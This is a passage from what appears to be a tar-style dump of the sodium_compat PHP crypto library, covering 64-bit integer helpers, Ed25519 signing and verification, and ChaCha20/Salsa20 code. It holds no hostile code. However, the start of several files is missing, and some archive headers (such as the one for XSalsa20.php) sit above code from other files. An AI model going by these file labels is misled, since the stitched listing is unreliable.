($myLimbs[$k]) >> (16 - $sub_shift)) ) & 0xffff ); } } return $return; } /** * Rotate to the right * * @param int $c * @return ParagonIE_Sodium_Core32_Int64 * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArrayAccess */ public function rotateRight($c = 0) { ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1); /** @var int $c */ $c = (int) $c; /** @var ParagonIE_Sodium_Core32_Int64 $return */ $return = new ParagonIE_Sodium_Core32_Int64(); $return->unsignedInt = $this->unsignedInt; $c &= 63; /** @var int $c */ if ($c === 0) { // NOP, but we want a copy. $return->limbs = $this->limbs; } else { /** @var array $limbs */ $limbs =& $return->limbs; /** @var array $myLimbs */ $myLimbs =& $this->limbs; /** @var int $idx_shift */ $idx_shift = ($c >> 4) & 3; /** @var int $sub_shift */ $sub_shift = $c & 15; for ($i = 3; $i >= 0; --$i) { /** @var int $j */ $j = ($i - $idx_shift) & 3; /** @var int $k */ $k = ($i - $idx_shift - 1) & 3; $limbs[$i] = (int) ( ( ((int) ($myLimbs[$j]) >> (int) ($sub_shift)) | ((int) ($myLimbs[$k]) << (16 - (int) ($sub_shift))) ) & 0xffff ); } } return $return; } /** * @param int $c * @return ParagonIE_Sodium_Core32_Int64 * @throws SodiumException * @throws TypeError */ public function shiftLeft($c = 0) { ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1); /** @var int $c */ $c = (int) $c; $return = new ParagonIE_Sodium_Core32_Int64(); $return->unsignedInt = $this->unsignedInt; $c &= 63; if ($c >= 16) { if ($c >= 48) { $return->limbs = array( $this->limbs[3], 0, 0, 0 ); } elseif ($c >= 32) { $return->limbs = array( $this->limbs[2], $this->limbs[3], 0, 0 ); } else { $return->limbs = array( $this->limbs[1], $this->limbs[2], $this->limbs[3], 0 ); } return $return->shiftLeft($c & 15); } if ($c === 0) { $return->limbs = $this->limbs; } elseif ($c < 0) { /** @var int $c */ return $this->shiftRight(-$c); } else { if (!is_int($c)) { throw new TypeError(); } /** @var int $carry */ $carry = 0; for ($i = 3; $i >= 0; --$i) { /** @var int $tmp */ $tmp = ($this->limbs[$i] << $c) | ($carry & 0xffff); $return->limbs[$i] = (int) ($tmp & 0xffff); /** @var int $carry */ $carry = $tmp >> 16; } } return $return; } /** * @param int $c * @return ParagonIE_Sodium_Core32_Int64 * @throws SodiumException * @throws TypeError */ public function shiftRight($c = 0) { ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1); $c = (int) $c; /** @var int $c */ $return = new ParagonIE_Sodium_Core32_Int64(); $return->unsignedInt = $this->unsignedInt; $c &= 63; $negative = -(($this->limbs[0] >> 15) & 1); if ($c >= 16) { if ($c >= 48) { $return->limbs = array( (int) ($negative & 0xffff), (int) ($negative & 0xffff), (int) ($negative & 0xffff), (int) $this->limbs[0] ); } elseif ($c >= 32) { $return->limbs = array( (int) ($negative & 0xffff), (int) ($negative & 0xffff), (int) $this->limbs[0], (int) $this->limbs[1] ); } else { $return->limbs = array( (int) ($negative & 0xffff), (int) $this->limbs[0], (int) $this->limbs[1], (int) $this->limbs[2] ); } return $return->shiftRight($c & 15); } if ($c === 0) { $return->limbs = $this->limbs; } elseif ($c < 0) { return $this->shiftLeft(-$c); } else { if (!is_int($c)) { throw new TypeError(); } /** @var int $carryRight */ $carryRight = ($negative & 0xffff); $mask = (int) (((1 << ($c + 1)) - 1) & 0xffff); for ($i = 0; $i < 4; ++$i) { $return->limbs[$i] = (int) ( (($this->limbs[$i] >> $c) | ($carryRight << (16 - $c))) & 0xffff ); $carryRight = (int) ($this->limbs[$i] & $mask); } } return $return; } /** * Subtract a normal integer from an int64 object. * * @param int $int * @return ParagonIE_Sodium_Core32_Int64 * @throws SodiumException * @throws TypeError */ public function subInt($int) { ParagonIE_Sodium_Core32_Util::declareScalarType($int, 'int', 1); $int = (int) $int; $return = new ParagonIE_Sodium_Core32_Int64(); $return->unsignedInt = $this->unsignedInt; /** @var int $carry */ $carry = 0; for ($i = 3; $i >= 0; --$i) { /** @var int $tmp */ $tmp = $this->limbs[$i] - (($int >> 16) & 0xffff) + $carry; /** @var int $carry */ $carry = $tmp >> 16; $return->limbs[$i] = (int) ($tmp & 0xffff); } return $return; } /** * The difference between two Int64 objects. * * @param ParagonIE_Sodium_Core32_Int64 $b * @return ParagonIE_Sodium_Core32_Int64 */ public function subInt64(ParagonIE_Sodium_Core32_Int64 $b) { $return = new ParagonIE_Sodium_Core32_Int64(); $return->unsignedInt = $this->unsignedInt; /** @var int $carry */ $carry = 0; for ($i = 3; $i >= 0; --$i) { /** @var int $tmp */ $tmp = $this->limbs[$i] - $b->limbs[$i] + $carry; /** @var int $carry */ $carry = ($tmp >> 16); $return->limbs[$i] = (int) ($tmp & 0xffff); } return $return; } /** * XOR this 64-bit integer with another. * * @param ParagonIE_Sodium_Core32_Int64 $b * @return ParagonIE_Sodium_Core32_Int64 */ public function xorInt64(ParagonIE_Sodium_Core32_Int64 $b) { $return = new ParagonIE_Sodium_Core32_Int64(); $return->unsignedInt = $this->unsignedInt; $return->limbs = array( (int) ($this->limbs[0] ^ $b->limbs[0]), (int) ($this->limbs[1] ^ $b->limbs[1]), (int) ($this->limbs[2] ^ $b->limbs[2]), (int) ($this->limbs[3] ^ $b->limbs[3]) ); return $return; } /** * @param int $low * @param int $high * @return self * @throws SodiumException * @throws TypeError */ public static function fromInts($low, $high) { ParagonIE_Sodium_Core32_Util::declareScalarType($low, 'int', 1); ParagonIE_Sodium_Core32_Util::declareScalarType($high, 'int', 2); $high = (int) $high; $low = (int) $low; return new ParagonIE_Sodium_Core32_Int64( array( (int) (($high >> 16) & 0xffff), (int) ($high & 0xffff), (int) (($low >> 16) & 0xffff), (int) ($low & 0xffff) ) ); } /** * @param int $low * @return self * @throws SodiumException * @throws TypeError */ public static function fromInt($low) { ParagonIE_Sodium_Core32_Util::declareScalarType($low, 'int', 1); $low = (int) $low; return new ParagonIE_Sodium_Core32_Int64( array( 0, 0, (int) (($low >> 16) & 0xffff), (int) ($low & 0xffff) ) ); } /** * @return int */ public function toInt() { return (int) ( (($this->limbs[2] & 0xffff) << 16) | ($this->limbs[3] & 0xffff) ); } /** * @param string $string * @return self * @throws SodiumException * @throws TypeError */ public static function fromString($string) { ParagonIE_Sodium_Core32_Util::declareScalarType($string, 'string', 1); $string = (string) $string; if (ParagonIE_Sodium_Core32_Util::strlen($string) !== 8) { throw new RangeException( 'String must be 8 bytes; ' . ParagonIE_Sodium_Core32_Util::strlen($string) . ' given.' ); } $return = new ParagonIE_Sodium_Core32_Int64(); $return->limbs[0] = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[0]) & 0xff) << 8); $return->limbs[0] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[1]) & 0xff); $return->limbs[1] = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[2]) & 0xff) << 8); $return->limbs[1] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[3]) & 0xff); $return->limbs[2] = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[4]) & 0xff) << 8); $return->limbs[2] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[5]) & 0xff); $return->limbs[3] = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[6]) & 0xff) << 8); $return->limbs[3] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[7]) & 0xff); return $return; } /** * @param string $string * @return self * @throws SodiumException * @throws TypeError */ public static function fromReverseString($string) { ParagonIE_Sodium_Core32_Util::declareScalarType($string, 'string', 1); $string = (string) $string; if (ParagonIE_Sodium_Core32_Util::strlen($string) !== 8) { throw new RangeException( 'String must be 8 bytes; ' . ParagonIE_Sodium_Core32_Util::strlen($string) . ' given.' ); } $return = new ParagonIE_Sodium_Core32_Int64(); $return->limbs[0] = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[7]) & 0xff) << 8); $return->limbs[0] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[6]) & 0xff); $return->limbs[1] = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[5]) & 0xff) << 8); $return->limbs[1] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[4]) & 0xff); $return->limbs[2] = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[3]) & 0xff) << 8); $return->limbs[2] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[2]) & 0xff); $return->limbs[3] = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[1]) & 0xff) << 8); $return->limbs[3] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[0]) & 0xff); return $return; } /** * @return array */ public function toArray() { return array( (int) ((($this->limbs[0] & 0xffff) << 16) | ($this->limbs[1] & 0xffff)), (int) ((($this->limbs[2] & 0xffff) << 16) | ($this->limbs[3] & 0xffff)) ); } /** * @return ParagonIE_Sodium_Core32_Int32 */ public function toInt32() { $return = new ParagonIE_Sodium_Core32_Int32(); $return->limbs[0] = (int) ($this->limbs[2]); $return->limbs[1] = (int) ($this->limbs[3]); $return->unsignedInt = $this->unsignedInt; $return->overflow = (int) (ParagonIE_Sodium_Core32_Util::abs($this->limbs[1], 16) & 0xffff); return $return; } /** * @return ParagonIE_Sodium_Core32_Int64 */ public function toInt64() { $return = new ParagonIE_Sodium_Core32_Int64(); $return->limbs[0] = (int) ($this->limbs[0]); $return->limbs[1] = (int) ($this->limbs[1]); $return->limbs[2] = (int) ($this->limbs[2]); $return->limbs[3] = (int) ($this->limbs[3]); $return->unsignedInt = $this->unsignedInt; $return->overflow = ParagonIE_Sodium_Core32_Util::abs($this->overflow); return $return; } /** * @param bool $bool * @return self */ public function setUnsignedInt($bool = false) { $this->unsignedInt = !empty($bool); return $this; } /** * @return string * @throws TypeError */ public function toString() { return ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[0] >> 8) & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[0] & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[1] >> 8) & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[1] & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[2] >> 8) & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[2] & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[3] >> 8) & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[3] & 0xff); } /** * @return string * @throws TypeError */ public function toReverseString() { return ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[3] & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[3] >> 8) & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[2] & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[2] >> 8) & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[1] & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[1] >> 8) & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[0] & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[0] >> 8) & 0xff); } /** * @return string */ public function __toString() { try { return $this->toString(); } catch (TypeError $ex) { // PHP engine can't handle exceptions from __toString() return ''; } } } sodium_compat/src/Core32/XSalsa20.php000064400000002543147177035010013312 0ustar00X)) { throw new SodiumException('Unexpected zero result'); } # fe_1(one_minus_y); # fe_sub(one_minus_y, one_minus_y, A.Y); # fe_invert(one_minus_y, one_minus_y); $one_minux_y = self::fe_invert( self::fe_sub( self::fe_1(), $A->Y ) ); # fe_1(x); # fe_add(x, x, A.Y); # fe_mul(x, x, one_minus_y); $x = self::fe_mul( self::fe_add(self::fe_1(), $A->Y), $one_minux_y ); # fe_tobytes(curve25519_pk, x); return self::fe_tobytes($x); } /** * @internal You should not use this directly from another application * * @param string $sk * @return string * @throws SodiumException * @throws TypeError */ public static function sk_to_pk($sk) { return self::ge_p3_tobytes( self::ge_scalarmult_base( self::substr($sk, 0, 32) ) ); } /** * @internal You should not use this directly from another application * * @param string $message * @param string $sk * @return string * @throws SodiumException * @throws TypeError */ public static function sign($message, $sk) { /** @var string $signature */ $signature = self::sign_detached($message, $sk); return $signature . $message; } /** * @internal You should not use this directly from another application * * @param string $message A signed message * @param string $pk Public key * @return string Message (without signature) * @throws SodiumException * @throws TypeError */ public static function sign_open($message, $pk) { /** @var string $signature */ $signature = self::substr($message, 0, 64); /** @var string $message */ $message = self::substr($message, 64); if (self::verify_detached($signature, $message, $pk)) { return $message; } throw new SodiumException('Invalid signature'); } /** * @internal You should not use this directly from another application * * @param string $message * @param string $sk * @return string * @throws SodiumException * @throws TypeError * @psalm-suppress PossiblyInvalidArgument */ public static function sign_detached($message, $sk) { # crypto_hash_sha512(az, sk, 32); $az = hash('sha512', self::substr($sk, 0, 32), true); # az[0] &= 248; # az[31] &= 63; # az[31] |= 64; $az[0] = self::intToChr(self::chrToInt($az[0]) & 248); $az[31] = self::intToChr((self::chrToInt($az[31]) & 63) | 64); # crypto_hash_sha512_init(&hs); # crypto_hash_sha512_update(&hs, az + 32, 32); # crypto_hash_sha512_update(&hs, m, mlen); # crypto_hash_sha512_final(&hs, nonce); $hs = hash_init('sha512'); self::hash_update($hs, self::substr($az, 32, 32)); self::hash_update($hs, $message); $nonceHash = hash_final($hs, true); # memmove(sig + 32, sk + 32, 32); $pk = self::substr($sk, 32, 32); # sc_reduce(nonce); # ge_scalarmult_base(&R, nonce); # ge_p3_tobytes(sig, &R); $nonce = self::sc_reduce($nonceHash) . self::substr($nonceHash, 32); $sig = self::ge_p3_tobytes( self::ge_scalarmult_base($nonce) ); # crypto_hash_sha512_init(&hs); # crypto_hash_sha512_update(&hs, sig, 64); # crypto_hash_sha512_update(&hs, m, mlen); # crypto_hash_sha512_final(&hs, hram); $hs = hash_init('sha512'); self::hash_update($hs, self::substr($sig, 0, 32)); self::hash_update($hs, self::substr($pk, 0, 32)); self::hash_update($hs, $message); $hramHash = hash_final($hs, true); # sc_reduce(hram); # sc_muladd(sig + 32, hram, az, nonce); $hram = self::sc_reduce($hramHash); $sigAfter = self::sc_muladd($hram, $az, $nonce); $sig = self::substr($sig, 0, 32) . self::substr($sigAfter, 0, 32); try { ParagonIE_Sodium_Compat::memzero($az); } catch (SodiumException $ex) { $az = null; } return $sig; } /** * @internal You should not use this directly from another application * * @param string $sig * @param string $message * @param string $pk * @return bool * @throws SodiumException * @throws TypeError */ public static function verify_detached($sig, $message, $pk) { if (self::strlen($sig) < 64) { throw new SodiumException('Signature is too short'); } if ((self::chrToInt($sig[63]) & 240) && self::check_S_lt_L(self::substr($sig, 32, 32))) { throw new SodiumException('S < L - Invalid signature'); } if (self::small_order($sig)) { throw new SodiumException('Signature is on too small of an order'); } if ((self::chrToInt($sig[63]) & 224) !== 0) { throw new SodiumException('Invalid signature'); } $d = 0; for ($i = 0; $i < 32; ++$i) { $d |= self::chrToInt($pk[$i]); } if ($d === 0) { throw new SodiumException('All zero public key'); } /** @var bool The original value of ParagonIE_Sodium_Compat::$fastMult */ $orig = ParagonIE_Sodium_Compat::$fastMult; // Set ParagonIE_Sodium_Compat::$fastMult to true to speed up verification. ParagonIE_Sodium_Compat::$fastMult = true; /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $A */ $A = self::ge_frombytes_negate_vartime($pk); /** @var string $hDigest */ $hDigest = hash( 'sha512', self::substr($sig, 0, 32) . self::substr($pk, 0, 32) . $message, true ); /** @var string $h */ $h = self::sc_reduce($hDigest) . self::substr($hDigest, 32); /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $R */ $R = self::ge_double_scalarmult_vartime( $h, $A, self::substr($sig, 32) ); /** @var string $rcheck */ $rcheck = self::ge_tobytes($R); // Reset ParagonIE_Sodium_Compat::$fastMult to what it was before. ParagonIE_Sodium_Compat::$fastMult = $orig; return self::verify_32($rcheck, self::substr($sig, 0, 32)); } /** * @internal You should not use this directly from another application * * @param string $S * @return bool * @throws SodiumException * @throws TypeError */ public static function check_S_lt_L($S) { if (self::strlen($S) < 32) { throw new SodiumException('Signature must be 32 bytes'); } static $L = array( 0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58, 0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10 ); /** @var array $L */ $c = 0; $n = 1; $i = 32; do { --$i; $x = self::chrToInt($S[$i]); $c |= ( (($x - $L[$i]) >> 8) & $n ); $n &= ( (($x ^ $L[$i]) - 1) >> 8 ); } while ($i !== 0); return $c === 0; } /** * @param string $R * @return bool * @throws SodiumException * @throws TypeError */ public static function small_order($R) { static $blocklist = array( /* 0 (order 4) */ array( 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ), /* 1 (order 1) */ array( 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ), /* 2707385501144840649318225287225658788936804267575313519463743609750303402022 (order 8) */ array( 0x26, 0xe8, 0x95, 0x8f, 0xc2, 0xb2, 0x27, 0xb0, 0x45, 0xc3, 0xf4, 0x89, 0xf2, 0xef, 0x98, 0xf0, 0xd5, 0xdf, 0xac, 0x05, 0xd3, 0xc6, 0x33, 0x39, 0xb1, 0x38, 0x02, 0x88, 0x6d, 0x53, 0xfc, 0x05 ), /* 55188659117513257062467267217118295137698188065244968500265048394206261417927 (order 8) */ array( 0xc7, 0x17, 0x6a, 0x70, 0x3d, 0x4d, 0xd8, 0x4f, 0xba, 0x3c, 0x0b, 0x76, 0x0d, 0x10, 0x67, 0x0f, 0x2a, 0x20, 0x53, 0xfa, 0x2c, 0x39, 0xcc, 0xc6, 0x4e, 0xc7, 0xfd, 0x77, 0x92, 0xac, 0x03, 0x7a ), /* p-1 (order 2) */ array( 0x13, 0xe8, 0x95, 0x8f, 0xc2, 0xb2, 0x27, 0xb0, 0x45, 0xc3, 0xf4, 0x89, 0xf2, 0xef, 0x98, 0xf0, 0xd5, 0xdf, 0xac, 0x05, 0xd3, 0xc6, 0x33, 0x39, 0xb1, 0x38, 0x02, 0x88, 0x6d, 0x53, 0xfc, 0x85 ), /* p (order 4) */ array( 0xb4, 0x17, 0x6a, 0x70, 0x3d, 0x4d, 0xd8, 0x4f, 0xba, 0x3c, 0x0b, 0x76, 0x0d, 0x10, 0x67, 0x0f, 0x2a, 0x20, 0x53, 0xfa, 0x2c, 0x39, 0xcc, 0xc6, 0x4e, 0xc7, 0xfd, 0x77, 0x92, 0xac, 0x03, 0xfa ), /* p+1 (order 1) */ array( 0xec, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f ), /* p+2707385501144840649318225287225658788936804267575313519463743609750303402022 (order 8) */ array( 0xed, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f ), /* p+55188659117513257062467267217118295137698188065244968500265048394206261417927 (order 8) */ array( 0xee, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f ), /* 2p-1 (order 2) */ array( 0xd9, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff ), /* 2p (order 4) */ array( 0xda, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff ), /* 2p+1 (order 1) */ array( 0xdb, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff ) ); /** @var array> $blocklist */ $countBlocklist = count($blocklist); for ($i = 0; $i < $countBlocklist; ++$i) { $c = 0; for ($j = 0; $j < 32; ++$j) { $c |= self::chrToInt($R[$j]) ^ $blocklist[$i][$j]; } if ($c === 0) { return true; } } return false; } } sodium_compat/src/Core32/ChaCha20/Ctx.php000064400000011450147177035010013761 0ustar00 */ protected $container; /** * ParagonIE_Sodium_Core_ChaCha20_Ctx constructor. * * @internal You should not use this directly from another application * * @param string $key ChaCha20 key. * @param string $iv Initialization Vector (a.k.a. nonce). * @param string $counter The initial counter value. * Defaults to 8 0x00 bytes. * @throws InvalidArgumentException * @throws SodiumException * @throws TypeError */ public function __construct($key = '', $iv = '', $counter = '') { if (self::strlen($key) !== 32) { throw new InvalidArgumentException('ChaCha20 expects a 256-bit key.'); } if (self::strlen($iv) !== 8) { throw new InvalidArgumentException('ChaCha20 expects a 64-bit nonce.'); } $this->container = new SplFixedArray(16); /* "expand 32-byte k" as per ChaCha20 spec */ $this->container[0] = new ParagonIE_Sodium_Core32_Int32(array(0x6170, 0x7865)); $this->container[1] = new ParagonIE_Sodium_Core32_Int32(array(0x3320, 0x646e)); $this->container[2] = new ParagonIE_Sodium_Core32_Int32(array(0x7962, 0x2d32)); $this->container[3] = new ParagonIE_Sodium_Core32_Int32(array(0x6b20, 0x6574)); $this->container[4] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 0, 4)); $this->container[5] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 4, 4)); $this->container[6] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 8, 4)); $this->container[7] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 12, 4)); $this->container[8] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 16, 4)); $this->container[9] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 20, 4)); $this->container[10] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 24, 4)); $this->container[11] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 28, 4)); if (empty($counter)) { $this->container[12] = new ParagonIE_Sodium_Core32_Int32(); $this->container[13] = new ParagonIE_Sodium_Core32_Int32(); } else { $this->container[12] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($counter, 0, 4)); $this->container[13] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($counter, 4, 4)); } $this->container[14] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($iv, 0, 4)); $this->container[15] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($iv, 4, 4)); } /** * @internal You should not use this directly from another application * * @param int $offset * @param int|ParagonIE_Sodium_Core32_Int32 $value * @return void */ #[ReturnTypeWillChange] public function offsetSet($offset, $value) { if (!is_int($offset)) { throw new InvalidArgumentException('Expected an integer'); } if ($value instanceof ParagonIE_Sodium_Core32_Int32) { /* } elseif (is_int($value)) { $value = ParagonIE_Sodium_Core32_Int32::fromInt($value); */ } else { throw new InvalidArgumentException('Expected an integer'); } $this->container[$offset] = $value; } /** * @internal You should not use this directly from another application * * @param int $offset * @return bool * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetExists($offset) { return isset($this->container[$offset]); } /** * @internal You should not use this directly from another application * * @param int $offset * @return void * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetUnset($offset) { unset($this->container[$offset]); } /** * @internal You should not use this directly from another application * * @param int $offset * @return mixed|null * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetGet($offset) { return isset($this->container[$offset]) ? $this->container[$offset] : null; } } sodium_compat/src/Core32/ChaCha20/IetfCtx.php000064400000002737147177035010014601 0ustar00container[12] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($counter, 0, 4)); } $this->container[13] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($iv, 0, 4)); $this->container[14] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($iv, 4, 4)); $this->container[15] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($iv, 8, 4)); } } sodium_compat/src/Core32/Salsa20.php000064400000026362147177035010013167 0ustar00 0; $i -= 2) { $x4 = $x4->xorInt32($x0->addInt32($x12)->rotateLeft(7)); $x8 = $x8->xorInt32($x4->addInt32($x0)->rotateLeft(9)); $x12 = $x12->xorInt32($x8->addInt32($x4)->rotateLeft(13)); $x0 = $x0->xorInt32($x12->addInt32($x8)->rotateLeft(18)); $x9 = $x9->xorInt32($x5->addInt32($x1)->rotateLeft(7)); $x13 = $x13->xorInt32($x9->addInt32($x5)->rotateLeft(9)); $x1 = $x1->xorInt32($x13->addInt32($x9)->rotateLeft(13)); $x5 = $x5->xorInt32($x1->addInt32($x13)->rotateLeft(18)); $x14 = $x14->xorInt32($x10->addInt32($x6)->rotateLeft(7)); $x2 = $x2->xorInt32($x14->addInt32($x10)->rotateLeft(9)); $x6 = $x6->xorInt32($x2->addInt32($x14)->rotateLeft(13)); $x10 = $x10->xorInt32($x6->addInt32($x2)->rotateLeft(18)); $x3 = $x3->xorInt32($x15->addInt32($x11)->rotateLeft(7)); $x7 = $x7->xorInt32($x3->addInt32($x15)->rotateLeft(9)); $x11 = $x11->xorInt32($x7->addInt32($x3)->rotateLeft(13)); $x15 = $x15->xorInt32($x11->addInt32($x7)->rotateLeft(18)); $x1 = $x1->xorInt32($x0->addInt32($x3)->rotateLeft(7)); $x2 = $x2->xorInt32($x1->addInt32($x0)->rotateLeft(9)); $x3 = $x3->xorInt32($x2->addInt32($x1)->rotateLeft(13)); $x0 = $x0->xorInt32($x3->addInt32($x2)->rotateLeft(18)); $x6 = $x6->xorInt32($x5->addInt32($x4)->rotateLeft(7)); $x7 = $x7->xorInt32($x6->addInt32($x5)->rotateLeft(9)); $x4 = $x4->xorInt32($x7->addInt32($x6)->rotateLeft(13)); $x5 = $x5->xorInt32($x4->addInt32($x7)->rotateLeft(18)); $x11 = $x11->xorInt32($x10->addInt32($x9)->rotateLeft(7)); $x8 = $x8->xorInt32($x11->addInt32($x10)->rotateLeft(9)); $x9 = $x9->xorInt32($x8->addInt32($x11)->rotateLeft(13)); $x10 = $x10->xorInt32($x9->addInt32($x8)->rotateLeft(18)); $x12 = $x12->xorInt32($x15->addInt32($x14)->rotateLeft(7)); $x13 = $x13->xorInt32($x12->addInt32($x15)->rotateLeft(9)); $x14 = $x14->xorInt32($x13->addInt32($x12)->rotateLeft(13)); $x15 = $x15->xorInt32($x14->addInt32($x13)->rotateLeft(18)); } $x0 = $x0->addInt32($j0); $x1 = $x1->addInt32($j1); $x2 = $x2->addInt32($j2); $x3 = $x3->addInt32($j3); $x4 = $x4->addInt32($j4); $x5 = $x5->addInt32($j5); $x6 = $x6->addInt32($j6); $x7 = $x7->addInt32($j7); $x8 = $x8->addInt32($j8); $x9 = $x9->addInt32($j9); $x10 = $x10->addInt32($j10); $x11 = $x11->addInt32($j11); $x12 = $x12->addInt32($j12); $x13 = $x13->addInt32($j13); $x14 = $x14->addInt32($j14); $x15 = $x15->addInt32($j15); return $x0->toReverseString() . $x1->toReverseString() . $x2->toReverseString() . $x3->toReverseString() . $x4->toReverseString() . $x5->toReverseString() . $x6->toReverseString() . $x7->toReverseString() . $x8->toReverseString() . $x9->toReverseString() . $x10->toReverseString() . $x11->toReverseString() . $x12->toReverseString() . $x13->toReverseString() . $x14->toReverseString() . $x15->toReverseString(); } /** * @internal You should not use this directly from another application * * @param int $len * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function salsa20($len, $nonce, $key) { if (self::strlen($key) !== 32) { throw new RangeException('Key must be 32 bytes long'); } $kcopy = '' . $key; $in = self::substr($nonce, 0, 8) . str_repeat("\0", 8); $c = ''; while ($len >= 64) { $c .= self::core_salsa20($in, $kcopy, null); $u = 1; // Internal counter. for ($i = 8; $i < 16; ++$i) { $u += self::chrToInt($in[$i]); $in[$i] = self::intToChr($u & 0xff); $u >>= 8; } $len -= 64; } if ($len > 0) { $c .= self::substr( self::core_salsa20($in, $kcopy, null), 0, $len ); } try { ParagonIE_Sodium_Compat::memzero($kcopy); } catch (SodiumException $ex) { $kcopy = null; } return $c; } /** * @internal You should not use this directly 